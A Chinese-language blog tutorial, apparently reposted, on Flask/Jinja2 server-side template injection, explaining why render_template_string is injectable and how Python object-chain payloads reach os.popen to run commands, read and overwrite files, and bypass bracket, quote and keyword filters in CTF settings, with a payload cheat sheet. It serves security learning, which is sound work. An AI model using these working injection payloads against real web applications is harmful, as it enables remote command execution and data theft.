Flask SSTI漏洞介绍及利用

这篇具有很好参考价值的文章主要介绍了Flask SSTI漏洞介绍及利用。希望对大家有所帮助。如果存在错误或未考虑完全的地方,请大家不吝赐教,您也可以点击"举报违法"按钮提交疑问。

1.ssti成因

flask使用jinjia2渲染引擎进行网页渲染,当处理不得当,未进行语句过滤,用户输入{{控制语句}},会导致渲染出恶意代码,形成注入。

2.使用render_template()渲染页面时不存在注入漏洞。

Flask SSTI漏洞介绍及利用

Flask SSTI漏洞介绍及利用

Flask SSTI漏洞介绍及利用

对传入的参数不会执行运算,只会进行显示。

3.使用render_template_string()渲染页面时存在注入漏洞。

render_template_string函数在渲染模板的时候使用了%s来动态的替换字符串,在渲染的时候会把 {{xxx}} 包裹的xxx内容当做变量解析替换。

Flask SSTI漏洞介绍及利用

第15行{}用于显示输出变量。

Flask SSTI漏洞介绍及利用

执行了2*2的运算,发生了注入。

4.flask基础知识及SSTI漏洞利用

所有的子类都有一个共同的父类object,如果没指定继承,默认父类是object

1.__class__:返回当前类(输入abc,是字符串类,除此以外还有元组类(),字典类{},列表类[]等。

下面所有案例中'123','abc'都可以换成任意'字符'或[],{},()等

Flask SSTI漏洞介绍及利用

2.__mor__:返回解析函数时,类的调用顺序,本例先调用str类,再调用object类,通过索引的方式__mor__[1],就可返回object类

Flask SSTI漏洞介绍及利用

Flask SSTI漏洞介绍及利用

3.当然还可以通过__base__:返回当前类父类(以字符串的形式)或者__bases__以元组的形式返回所有父类(元组可通过索引访问)

print('abc'.__class__.__bases__[0])

print('abc'.__class__.__base__)这两者一样

Flask SSTI漏洞介绍及利用

Flask SSTI漏洞介绍及利用

4.__subclasses__():返回当前类所有的子类,可通过索引的方式定位某一个子类

Flask SSTI漏洞介绍及利用

Flask SSTI漏洞介绍及利用

5.通过len()可以查看其长度,我们需要可以进行系统命令的os._wrap_close类。

于是我们需要定位该类,我们可以通过如下代码进行定位,不同的python版本,位置可能不同,我的版本是3.9,该类的位置在134。

这里不能把前面print('abc'.__class__.__mro__[1].__subclasses__()[i].__init__.__globals__['popen'])注释掉,不然会如下图所示。

Flask SSTI漏洞介绍及利用

这里必须加try/except处理报错。之后就能找到os._wrap_close类的位置。

Flask SSTI漏洞介绍及利用

当然也可以引入os模块,快速进行定位。

Flask SSTI漏洞介绍及利用

6.接下来,就可以继续往下__init__(初始化方法),再通过__globals__(访问全局变量,字典),通过popen,以及read方法来进行系统命令执行(比如执行ipconfig) 。

注:os.popen() 方法用于从一个命令打开一个管道。

Flask SSTI漏洞介绍及利用

7.还可以利用__builtins__下的open进行文件的读取:代码如下

print('abc'.__class__.__mro__[1].__subclasses__()[134].__init__.__globals__['__builtins__']['open']('1.txt').read())

或print('abc'.__class__.__base__.__subclasses__()[134].__init__.__globals__['__builtins__']['open']('1.txt').read())

二者一样是因为__mor__[1]和__base__都能返回object类

Flask SSTI漏洞介绍及利用

Flask SSTI漏洞介绍及利用

8.我们还可以通过写入的方式修改文件内容

print('abc'.__class__.__base__.__subclasses__()[134].__init__.__globals__['__builtins__']['open']('1.txt','w').write('hello'))

原来1.txt里面的内容是1111111111111,现在修改为hello

Flask SSTI漏洞介绍及利用

Flask SSTI漏洞介绍及利用

9.一些ctf比赛技巧

(1)如果[]索引被过滤,可以用__getitem__ ()或者get方法来进行替换

print('abc'.__class__.__base__.__subclasses__().__getitem__(134))

即将[134]替换为__getitem__(134)

Flask SSTI漏洞介绍及利用

print('abc'.__class__.__base__.__subclasses__().__getitem__(134).__init__.__globals__.get('popen')('dir').read())

即将['open']替换为get('popen')

Flask SSTI漏洞介绍及利用

(2)如果引号被过滤可以采用以下方式在url中实现

?key={{'abc'.__class__.__base__.__subclasses__().__getitem__(134).__init__.__globals__.get(request.args.a)(request.args.b).read()}}&a=popen&b=dir

Flask SSTI漏洞介绍及利用

注:format(request.args.key)写法和format(request.args.get('key'))作用相同

Flask SSTI漏洞介绍及利用

(3)如果关键字被过滤,可以通过__getattribute__('__'+'cla'+'ss'+'__')类似的手法进行绕过

?key={{'abc'.__getattribute__('__'+'cla'+'ss'+'__').__base__.__subclasses__().__getitem__(134).__init__.__globals__.get(request.args.a)(request.args.b).read()}}&a=popen&b=dir

Flask SSTI漏洞介绍及利用

ssti知识点汇总

__class__            类的一个内置属性,表示实例对象的类。
__base__             类型对象的直接基类
__bases__            类型对象的全部基类,以元组形式,类型的实例通常没有属性 __bases__
__mro__              此属性是由类组成的元组,在方法解析期间会基于它来查找基类。
__subclasses__()     返回这个类的子类集合,Each class keeps a list of weak references to its immediate subclasses. This method returns a list of all those references still alive. The list is in definition order.
__init__             初始化类,返回的类型是function
__globals__          使用方式是 函数名.__globals__获取function所处空间下可使用的module、方法以及所有变量。
__dic__              类的静态函数、类函数、普通函数、全局变量以及一些内置的属性都是放在类的__dict__里
__getattribute__()   实例、类、函数都具有的__getattribute__魔术方法。事实上,在实例化的对象进行.操作的时候(形如:a.xxx/a.xxx()),都会自动去调用__getattribute__方法。因此我们同样可以直接通过这个方法来获取到实例、类、函数的属性。
__getitem__()        调用字典中的键值,其实就是调用这个魔术方法,比如a['b'],就是a.__getitem__('b')
__builtins__         内建名称空间,内建名称空间有许多名字到对象之间映射,而这些名字其实就是内建函数的名称,对象就是这些内建函数本身。即里面有很多常用的函数。__builtins__与__builtin__的区别就不放了,百度都有。
__import__           动态加载类和函数,也就是导入模块,经常用于导入os模块,__import__('os').popen('ls').read()]
__str__()            返回描写这个对象的字符串,可以理解成就是打印出来。
url_for              flask的一个方法,可以用于得到__builtins__,而且url_for.__globals__['__builtins__']含有current_app。
get_flashed_messages flask的一个方法,可以用于得到__builtins__,而且url_for.__globals__['__builtins__']含有current_app。
lipsum               flask的一个方法,可以用于得到__builtins__,而且lipsum.__globals__含有os模块:{{lipsum.__globals__['os'].popen('ls').read()}}
current_app          应用上下文,一个全局变量。
request              可以用于获取字符串来绕过,包括下面这些,引用一下羽师傅的。此外,同样可以获取open函数:request.__init__.__globals__['__builtins__'].open('/proc\self\fd/3').read()
request.args.x1   	 get传参
request.values.x1 	 所有参数
request.cookies      cookies参数
request.headers      请求头参数
request.form.x1   	 post传参	(Content-Type:applicaation/x-www-form-urlencoded或multipart/form-data)
request.data  		 post传参	(Content-Type:a/b)
request.json		 post传json  (Content-Type: application/json)
config      当前application的所有配置。
此外,也可以这样{{config.__class__.__init__.__globals__['os'].popen('ls').read() }}

文章参考链接:

(23条消息) flask模板注入(ssti),一篇就够了_伤心的小尾巴的博客-CSDN博客_flask sstihttps://blog.csdn.net/qq_59950255/article/details/123215817(23条消息) SSTI知识点与题型_zbbjya的博客-CSDN博客_ssti 引号被过滤https://blog.csdn.net/zbbjya/article/details/124185476文章来源地址https://www.toymoban.com/news/detail-420943.html

到了这里,关于Flask SSTI漏洞介绍及利用的文章就介绍完了。如果您还想了解更多内容,请在右上角搜索TOY模板网以前的文章或继续浏览下面的相关文章,希望大家以后多多支持TOY模板网!

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处: 如若内容造成侵权/违法违规/事实不符,请点击违法举报进行投诉反馈,一经查实,立即删除!

领支付宝红包 赞助服务器费用

相关文章

  • [网络安全]一文带你了解SSTI漏洞(结合Web_python_template_injection解题详析)

    SSTI是Server-Side Template Injection的缩写,是一种Web应用程序安全漏洞,主要存在于使用基于模板引擎的Web应用程序中。 SSTI漏洞的主要原因是 在Web应用程序中使用了基于模板引擎的渲染功能,并且没有正确地验证和过滤用户输入的数据。当攻击者能够构造特定的输入并成功地注入

    2024年02月08日
    浏览(37)
  • BugKu:Simple_SSTI(SSTI模板注入)

    目录 1.Simple_SSTI_1 2.Simple_SSTI_2 点击链接进入,题目说: You need pass in a parameter named flag。(你需要传入一个名为flag的参数)然后我们可以直接f12查看,也可以右击页面---“检查” 如图所示,我们会得到相关的提示,根据提示信息,我们利用flask的模板注入,就能直接得到flag。

    2023年04月08日
    浏览(25)
  • Simple_SSTI_1与Simple_SSTI_2

    目录 一,Simple_SSTI_1 二,Simple_SSTI_2 首先打开场景:  然后F12查看一下源码:  于是通过百度相关知识寻找线索: 1,SSTI : 服务器端模版注入是指攻击者能够使用本机模板语法将恶意有效负载注入模板中,然后在服务器端执行该模板。 2,flask框架: flask是一个使用Python编写

    2023年04月12日
    浏览(23)
  • 浅学Go下的ssti

    作为强类型的静态语言,golang的安全属性从编译过程就能够避免大多数安全问题,一般来说也唯有依赖库和开发者自己所编写的操作漏洞,才有可能形成漏洞利用点,在本文,主要学习探讨一下golang的一些ssti模板注入问题 Go 提供了两个模板包。一个是  text/template ,另一个是

    2024年02月09日
    浏览(20)
  • Thymeleaf SSTI模板注入分析

    先搭建一个SpringMVC项目,参考这篇文章,或者参考我以前的spring内存马分析那篇文章 https://blog.csdn.net/weixin_65287123/article/details/136648903 简单写个servlet 这样就是访问到index.jsp 路由解析流程主要就是 Model 和 View 以及最后 Render 。return处打个断点,看怎么处理的 先进入 invokeAndHa

    2024年04月12日
    浏览(20)
  • BUUCTF刷题十一道(12)附-SSTI专题二

    SSTI-服务端模板注入漏洞 flask之ssti模板注入从零到入门 CTFSHOW SSTI篇-yu22x SSTI模板注入绕过(进阶篇)-yu22x SSTI模板注入学习-竹言笙熙 全部总结看最后一篇 Smarty 模板注入与沙箱逃逸-长亭科技 发现能显示ip地址,没有其他传参的地方,应该在xff头 自定义xff头,尝试模板注入 但

    2024年04月10日
    浏览(25)
  • flask----内置信号的使用/django的信号/ flask-script/sqlalchemy介绍和快速使用/sqlalchemy介绍和快速使用

    内置信号的使用 有哪些内置信号 自定义信号 # 1 第一步:定义一个自定义 信号 # 2 第二步:写个函数 # 3 第三步:函数跟自己定义信号绑定 # 4 第四步:触发自定义信号---》我们做   信号的作用(信号量--》Semaphore) 信号量 sqlalchemy的原生操作

    2024年02月14日
    浏览(28)
  • Web 开发 1: Flask 框架介绍和使用

    在 Web 开发中,Flask 是一个流行且灵活的 Python Web 框架,用于构建 Web 应用程序。它简洁而易于上手,适用于小型到中型的项目。在本篇博客中,我将为你介绍 Flask 框架的基础知识和常用技巧,帮助你更好地掌握 Web 开发中的框架部分。 安装 Flask 在开始使用 Flask 之前,你需要

    2024年01月23日
    浏览(38)
  • [GDOUCTF 2023]<ez_ze> SSTI 过滤数字 大括号{等

    SSTI模板注入-中括号、args、下划线、单双引号、os、request、花括号、数字被过滤绕过(ctfshow web入门370)-CSDN博客 ssti板块注入 正好不会 {%%}的内容 学习一下 经过测试 发现过滤了 {{}} 那么我们就开始吧 我们可以通过这个语句来查询是否存在ssti   存在咯 这里跟着师傅的wp走

    2024年02月06日
    浏览(24)
  • Ctfshow web入门 SSTI 模板注入篇 web361-web372 详细题解 全

    笔记分享 一、代码块 二、常用方法 三、SSTI-jinja2执行命令的六种方式 最后附上我的思维导图 开始做题 进去是个这玩意。非常明显的SSTI模板注入的特征。 题目有提到名字就是考点。 测试一下是jinja2模板 payload:(以下这些都可以) 开始过滤了,测试了一下过滤了数字,1和

    2024年02月13日
    浏览(28)

觉得文章有用就打赏一下文章作者

支付宝扫一扫打赏

博客赞助

微信扫一扫打赏

请作者喝杯咖啡吧~博客赞助

支付宝扫一扫领取红包,优惠每天领

二维码1

领取红包

二维码2

领红包